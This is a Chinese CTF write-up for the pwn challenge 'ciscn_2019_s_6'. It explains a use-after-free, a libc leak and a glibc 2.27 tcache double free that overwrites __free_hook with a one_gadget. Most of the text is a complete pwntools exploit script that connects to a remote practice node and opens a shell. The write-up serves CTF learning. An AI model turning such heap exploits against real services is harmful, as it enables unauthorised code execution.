ciscn_2019_s_6
查看保护
漏洞出在了call里面有一个uaf漏洞。直接double free attack即可。
攻击思路:uaf又是libc2.27。所以直接申请0x410泄露出libc和free_hook。再通过double free修改fd为hook,改hook为one_gadget即可getshell。具体的2.27下的double free可以看z1r0’s blog
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27460)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'choice:'
def add(size, name, call):
r.sendlineafter(menu, '1')
r.sendlineafter("Please input the size of compary's name", str(size))
r.sendafter('please input name:', name)
r.sendafter('please input compary call:', call)
def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Please input the index:', str(index))
def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Please input the index:', str(index))
add(0x410, 'aaaa', 'cccc')
add(0x10, 'aaaa', 'ccccc')
add(0x10, 'dddd', 'eeeee')
delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
delete(1)
delete(1)
delete(1)
add(0x10, p64(free_hook), p64(free_hook))
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base
add(0x10, p64(one_gadget), p64(one_gadget))
delete(2)
#dbg()
r.interactive()